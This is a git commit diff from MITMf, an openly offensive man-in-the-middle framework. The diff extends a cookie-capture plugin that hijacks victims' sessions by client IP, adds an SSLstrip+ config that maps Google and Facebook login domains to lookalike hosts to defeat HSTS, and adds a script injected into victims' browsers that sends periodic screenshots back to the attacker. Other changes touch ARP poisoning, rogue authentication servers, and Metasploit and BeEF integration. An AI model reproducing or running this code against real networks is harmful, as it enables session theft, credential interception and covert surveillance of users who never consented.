mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 21:42:17 -07:00
Screenshotter plugin now live!
Added an interval option to specify the interval at which to take the sceenshots Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file!
This commit is contained in:
parent
ff39a302f9
commit
b9371f7cdc
17 changed files with 130 additions and 70 deletions
|
@ -103,6 +103,27 @@
|
||||||
[[Regex2]]
|
[[Regex2]]
|
||||||
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
|
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
|
||||||
|
|
||||||
|
[Ferret-NG]
|
||||||
|
#
|
||||||
|
# Here you can specify the client to hijack sessions from
|
||||||
|
#
|
||||||
|
|
||||||
|
Client = '192.168.20.126'
|
||||||
|
|
||||||
|
[SSLstrip+]
|
||||||
|
|
||||||
|
#
|
||||||
|
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
|
||||||
|
#
|
||||||
|
|
||||||
|
#for google and gmail
|
||||||
|
accounts.google.com = account.google.com
|
||||||
|
mail.google.com = gmail.google.com
|
||||||
|
accounts.google.se = cuentas.google.se
|
||||||
|
|
||||||
|
#for facebook
|
||||||
|
www.facebook.com = social.facebook.com
|
||||||
|
|
||||||
[Responder]
|
[Responder]
|
||||||
|
|
||||||
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||||
|
@ -317,20 +338,6 @@
|
||||||
Plugin = Flash
|
Plugin = Flash
|
||||||
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
||||||
|
|
||||||
[SSLstrip+]
|
|
||||||
|
|
||||||
#
|
|
||||||
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
|
|
||||||
#
|
|
||||||
|
|
||||||
#for google and gmail
|
|
||||||
accounts.google.com = account.google.com
|
|
||||||
mail.google.com = gmail.google.com
|
|
||||||
accounts.google.se = cuentas.google.se
|
|
||||||
|
|
||||||
#for facebook
|
|
||||||
www.facebook.com = social.facebook.com
|
|
||||||
|
|
||||||
[FilePwn]
|
[FilePwn]
|
||||||
|
|
||||||
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||||
|
|
|
@ -41,6 +41,7 @@ import logging
|
||||||
|
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
from core.configwatcher import ConfigWatcher
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from core.utils import shutdown
|
||||||
|
|
||||||
from dnslib import *
|
from dnslib import *
|
||||||
from IPy import IP
|
from IPy import IP
|
||||||
|
@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher):
|
||||||
self.startUDP()
|
self.startUDP()
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
if "Address already in use" in e:
|
if "Address already in use" in e:
|
||||||
sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||||
|
|
||||||
# Initialize and start the DNS Server
|
# Initialize and start the DNS Server
|
||||||
def startUDP(self):
|
def startUDP(self):
|
||||||
|
|
|
@ -71,9 +71,14 @@ class ClientRequest(Request):
|
||||||
del headers['cache-control']
|
del headers['cache-control']
|
||||||
|
|
||||||
if 'host' in headers:
|
if 'host' in headers:
|
||||||
if headers['host'] in self.urlMonitor.cookies:
|
try:
|
||||||
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
|
||||||
headers['cookie'] = self.urlMonitor.cookies[headers['host']]
|
if headers['host'] == entry['host']:
|
||||||
|
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
||||||
|
headers['cookie'] = entry['cookie']
|
||||||
|
except KeyError:
|
||||||
|
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||||
|
pass
|
||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
|
@ -32,6 +32,7 @@ class URLMonitor:
|
||||||
# Start the arms race, and end up here...
|
# Start the arms race, and end up here...
|
||||||
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
||||||
cookies = dict()
|
cookies = dict()
|
||||||
|
hijack_client = ''
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
|
|
@ -2875,4 +2875,4 @@ function grab() {
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
grab()
|
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
|
@ -4,6 +4,7 @@ import sys
|
||||||
import threading
|
import threading
|
||||||
|
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
|
from core.utils import shutdown
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
|
@ -21,9 +22,9 @@ class ARPWatch:
|
||||||
try:
|
try:
|
||||||
self.gatewaymac = getmacbyip(self.gatewayip)
|
self.gatewaymac = getmacbyip(self.gatewayip)
|
||||||
if self.gatewaymac is None:
|
if self.gatewaymac is None:
|
||||||
sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||||
|
|
||||||
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
||||||
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
import threading
|
import threading
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
from core.utils import shutdown
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
@ -42,7 +43,7 @@ class ARPpoisoner():
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
if self.gatewaymac is None:
|
if self.gatewaymac is None:
|
||||||
sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||||
|
|
||||||
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
||||||
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
||||||
|
|
|
@ -4,6 +4,7 @@ import threading
|
||||||
from socket import error as socketerror
|
from socket import error as socketerror
|
||||||
from impacket import version, smbserver, LOG
|
from impacket import version, smbserver, LOG
|
||||||
from core.configwatcher import ConfigWatcher
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from core.utils import shutdown
|
||||||
|
|
||||||
LOG.setLevel(logging.INFO)
|
LOG.setLevel(logging.INFO)
|
||||||
LOG.propagate = False
|
LOG.propagate = False
|
||||||
|
@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher):
|
||||||
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
|
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
|
||||||
except socketerror as e:
|
except socketerror as e:
|
||||||
if "Address already in use" in e:
|
if "Address already in use" in e:
|
||||||
sys.exit("\n[-] Unable to start SMB server on port 445: port already in use")
|
shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||||
|
|
|
@ -27,9 +27,15 @@ import sys
|
||||||
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import get_if_addr, get_if_hwaddr
|
from scapy.all import get_if_addr, get_if_hwaddr
|
||||||
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
|
def shutdown(message=None):
|
||||||
|
for plugin in ProxyPlugins.getInstance().plist:
|
||||||
|
plugin.finish()
|
||||||
|
sys.exit(message)
|
||||||
|
|
||||||
class SystemConfig:
|
class SystemConfig:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -44,11 +50,11 @@ class SystemConfig:
|
||||||
try:
|
try:
|
||||||
ip_address = get_if_addr(interface)
|
ip_address = get_if_addr(interface)
|
||||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||||
exit("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||||
|
|
||||||
return ip_address
|
return ip_address
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getMAC(interface):
|
def getMAC(interface):
|
||||||
|
@ -56,7 +62,7 @@ class SystemConfig:
|
||||||
mac_address = get_if_hwaddr(interface)
|
mac_address = get_if_hwaddr(interface)
|
||||||
return mac_address
|
return mac_address
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
||||||
|
|
||||||
class IpTables:
|
class IpTables:
|
||||||
|
|
||||||
|
|
18
mitmf.py
18
mitmf.py
|
@ -28,7 +28,7 @@ from twisted.web import http
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from core.sslstrip.CookieCleaner import CookieCleaner
|
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from core.utils import Banners, SystemConfig
|
from core.utils import Banners, SystemConfig, shutdown
|
||||||
from plugins import *
|
from plugins import *
|
||||||
|
|
||||||
Banners().printBanner()
|
Banners().printBanner()
|
||||||
|
@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler)
|
||||||
#All our options should be loaded now, initialize the plugins
|
#All our options should be loaded now, initialize the plugins
|
||||||
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
|
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
|
||||||
|
|
||||||
load = []
|
|
||||||
|
|
||||||
for p in plugins:
|
for p in plugins:
|
||||||
|
|
||||||
#load only the plugins that have been called at the command line
|
#load only the plugins that have been called at the command line
|
||||||
|
@ -132,32 +130,30 @@ for p in plugins:
|
||||||
|
|
||||||
print "|_ {} v{}".format(p.name, p.version)
|
print "|_ {} v{}".format(p.name, p.version)
|
||||||
if p.tree_info:
|
if p.tree_info:
|
||||||
for line in p.tree_info:
|
for line in xrange(0, len(p.tree_info)):
|
||||||
print "| |_ {}".format(p.tree_info.pop())
|
print "| |_ {}".format(p.tree_info.pop())
|
||||||
|
|
||||||
p.initialize(args)
|
p.initialize(args)
|
||||||
|
|
||||||
if p.tree_info:
|
if p.tree_info:
|
||||||
for line in p.tree_info:
|
for line in xrange(0, len(p.tree_info)):
|
||||||
print "| |_ {}".format(p.tree_info.pop())
|
print "| |_ {}".format(p.tree_info.pop())
|
||||||
|
|
||||||
load.append(p)
|
ProxyPlugins.getInstance().addPlugin(p)
|
||||||
|
|
||||||
#Plugins are ready to go, let's rock & roll
|
#Plugins are ready to go, let's rock & roll
|
||||||
from core.sslstrip.StrippingProxy import StrippingProxy
|
from core.sslstrip.StrippingProxy import StrippingProxy
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
||||||
|
|
||||||
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
||||||
ProxyPlugins.getInstance().setPlugins(load)
|
|
||||||
|
|
||||||
strippingFactory = http.HTTPFactory(timeout=10)
|
strippingFactory = http.HTTPFactory(timeout=10)
|
||||||
strippingFactory.protocol = StrippingProxy
|
strippingFactory.protocol = StrippingProxy
|
||||||
|
|
||||||
reactor.listenTCP(args.listen, strippingFactory)
|
reactor.listenTCP(args.listen, strippingFactory)
|
||||||
|
|
||||||
for p in load:
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
|
||||||
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
||||||
p.startConfigWatch()
|
p.startConfigWatch()
|
||||||
|
@ -189,6 +185,4 @@ SMBserver().start()
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
#run each plugins finish() on exit
|
shutdown()
|
||||||
for p in load:
|
|
||||||
p.finish()
|
|
|
@ -24,7 +24,7 @@ import json
|
||||||
|
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from core.beefapi import BeefAPI
|
from core.beefapi import BeefAPI
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig, shutdown
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
|
|
||||||
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||||
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
|
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
|
||||||
sys.exit("[-] Error logging in to BeEF!")
|
shutdown("[-] Error logging in to BeEF!")
|
||||||
|
|
||||||
def startThread(self, options):
|
def startThread(self, options):
|
||||||
self.autorun()
|
self.autorun()
|
||||||
|
|
|
@ -20,12 +20,11 @@
|
||||||
|
|
||||||
import string
|
import string
|
||||||
import random
|
import random
|
||||||
import sys
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from core.msfrpc import Msfrpc
|
from core.msfrpc import Msfrpc
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig, shutdown
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.BrowserProfiler import BrowserProfiler
|
from plugins.BrowserProfiler import BrowserProfiler
|
||||||
|
|
||||||
|
@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
version = self.msf.call('core.version')['version']
|
version = self.msf.call('core.version')['version']
|
||||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||||
except Exception:
|
except Exception:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
||||||
|
|
||||||
def startThread(self, options):
|
def startThread(self, options):
|
||||||
self.snipe()
|
self.snipe()
|
||||||
|
|
|
@ -19,12 +19,15 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import ast
|
||||||
|
import sys
|
||||||
|
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from twisted.web import http
|
from twisted.web import http
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
from core.utils import shutdown
|
||||||
from core.ferretng.FerretProxy import FerretProxy
|
from core.ferretng.FerretProxy import FerretProxy
|
||||||
from core.ferretng.URLMonitor import URLMonitor
|
from core.ferretng.URLMonitor import URLMonitor
|
||||||
|
|
||||||
|
@ -41,17 +44,44 @@ class FerretNG(Plugin):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.ferret_port = 10010 or options.ferret_port
|
self.ferret_port = 10010 or options.ferret_port
|
||||||
|
self.cookie_file = None
|
||||||
|
|
||||||
|
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||||
|
|
||||||
|
if options.cookie_file:
|
||||||
|
self.tree_info.append('Loading cookies from log file')
|
||||||
|
try:
|
||||||
|
with open(options.cookie_file, 'r') as cookie_file:
|
||||||
|
self.cookie_file = ast.literal_eval(cookie_file.read())
|
||||||
|
URLMonitor.getInstance().cookies = self.cookie_file
|
||||||
|
cookie_file.close()
|
||||||
|
except Exception as e:
|
||||||
|
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||||
|
|
||||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||||
|
|
||||||
|
def onConfigChange(self):
|
||||||
|
mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||||
|
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if 'cookie' in request.headers:
|
if 'cookie' in request.headers:
|
||||||
host = request.headers['host']
|
host = request.headers['host']
|
||||||
cookie = request.headers['cookie']
|
cookie = request.headers['cookie']
|
||||||
client = request.client.getClientIP()
|
client = request.client.getClientIP()
|
||||||
if host not in URLMonitor.getInstance().cookies:
|
|
||||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
if client not in URLMonitor.getInstance().cookies:
|
||||||
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
|
URLMonitor.getInstance().cookies[client] = []
|
||||||
|
|
||||||
|
for entry in URLMonitor.getInstance().cookies[client]:
|
||||||
|
if host == entry['host']:
|
||||||
|
mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
|
||||||
|
entry['host'] = host
|
||||||
|
entry['cookie'] = cookie
|
||||||
|
return
|
||||||
|
|
||||||
|
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
||||||
|
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||||
|
|
||||||
def pluginReactor(self, StrippingProxy):
|
def pluginReactor(self, StrippingProxy):
|
||||||
FerretFactory = http.HTTPFactory(timeout=10)
|
FerretFactory = http.HTTPFactory(timeout=10)
|
||||||
|
@ -60,10 +90,16 @@ class FerretNG(Plugin):
|
||||||
|
|
||||||
def pluginOptions(self, options):
|
def pluginOptions(self, options):
|
||||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
|
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
|
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
|
if not URLMonitor.getInstance().cookies:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||||
|
return
|
||||||
|
|
||||||
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
|
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
|
||||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
|
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||||
cookie_file.write(URLMonitor.getInstance().cookies)
|
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||||
cookie_file.close()
|
cookie_file.close()
|
||||||
|
|
|
@ -69,6 +69,7 @@ from libs.bdfactory import pebin
|
||||||
from libs.bdfactory import elfbin
|
from libs.bdfactory import elfbin
|
||||||
from libs.bdfactory import machobin
|
from libs.bdfactory import machobin
|
||||||
from core.msfrpc import Msfrpc
|
from core.msfrpc import Msfrpc
|
||||||
|
from core.utils import shutdown
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from tempfile import mkstemp
|
from tempfile import mkstemp
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
|
@ -140,7 +141,7 @@ class FilePwn(Plugin):
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
t.start()
|
t.start()
|
||||||
except Exception:
|
except Exception:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||||
|
|
||||||
def setupMSF(self, msf):
|
def setupMSF(self, msf):
|
||||||
|
|
||||||
|
|
|
@ -18,11 +18,9 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
import sys
|
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig, shutdown
|
||||||
|
|
||||||
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
||||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||||
|
@ -48,7 +46,7 @@ class Responder(Plugin):
|
||||||
config = self.config['Responder']
|
config = self.config['Responder']
|
||||||
smbChal = self.config['MITMf']['SMB']['Challenge']
|
smbChal = self.config['MITMf']['SMB']['Challenge']
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
sys.exit('[-] Error parsing config for Responder: ' + str(e))
|
shutdown('[-] Error parsing config for Responder: ' + str(e))
|
||||||
|
|
||||||
LANFingerprinter().start(options)
|
LANFingerprinter().start(options)
|
||||||
MDNSPoisoner().start(options, self.ourip)
|
MDNSPoisoner().start(options, self.ourip)
|
||||||
|
|
|
@ -20,6 +20,8 @@
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import base64
|
import base64
|
||||||
|
import urllib
|
||||||
|
import re
|
||||||
|
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
|
@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin):
|
||||||
optname = 'screen'
|
optname = 'screen'
|
||||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||||
ver = '0.1'
|
ver = '0.1'
|
||||||
has_opts = False
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
|
self.interval = options.interval
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if 'saveshot' in request.uri:
|
if 'saveshot' in request.uri:
|
||||||
request.printPostData = False
|
request.printPostData = False
|
||||||
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
client = request.client.getClientIP()
|
||||||
with open(img_file, 'wb') as img:
|
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||||
img.write(base64.b64decode(request.postData[30:] + '=='))
|
try:
|
||||||
img.close()
|
with open('./logs/' + img_file, 'wb') as img:
|
||||||
|
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
|
||||||
|
img.close()
|
||||||
|
|
||||||
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
|
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
|
||||||
|
except Exception as e:
|
||||||
|
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
canvas = open("./core/javascript/screenshot.js", "rb").read()
|
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
|
||||||
return '<script type="text/javascript">' + canvas + '</script>'
|
return '<script type="text/javascript">' + canvas + '</script>'
|
||||||
|
|
||||||
|
def pluginOptions(self, options):
|
||||||
|
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
|
@ -18,8 +18,7 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
from sys import exit
|
from core.utils import SystemConfig, IpTables, shutdown
|
||||||
from core.utils import SystemConfig, IpTables
|
|
||||||
from core.protocols.arp.ARPpoisoner import ARPpoisoner
|
from core.protocols.arp.ARPpoisoner import ARPpoisoner
|
||||||
from core.protocols.arp.ARPWatch import ARPWatch
|
from core.protocols.arp.ARPWatch import ARPWatch
|
||||||
from core.dnschef.DNSchef import DNSChef
|
from core.dnschef.DNSchef import DNSChef
|
||||||
|
@ -55,7 +54,7 @@ class Spoof(Plugin):
|
||||||
if options.arp:
|
if options.arp:
|
||||||
|
|
||||||
if not options.gateway:
|
if not options.gateway:
|
||||||
exit("[-] --arp argument requires --gateway")
|
shutdown("[-] --arp argument requires --gateway")
|
||||||
|
|
||||||
if options.targets is None:
|
if options.targets is None:
|
||||||
#if were poisoning whole subnet, start ARP-Watch
|
#if were poisoning whole subnet, start ARP-Watch
|
||||||
|
@ -75,10 +74,10 @@ class Spoof(Plugin):
|
||||||
elif options.icmp:
|
elif options.icmp:
|
||||||
|
|
||||||
if not options.gateway:
|
if not options.gateway:
|
||||||
exit("[-] --icmp argument requires --gateway")
|
shutdown("[-] --icmp argument requires --gateway")
|
||||||
|
|
||||||
if not options.targets:
|
if not options.targets:
|
||||||
exit("[-] --icmp argument requires --targets")
|
shutdown("[-] --icmp argument requires --targets")
|
||||||
|
|
||||||
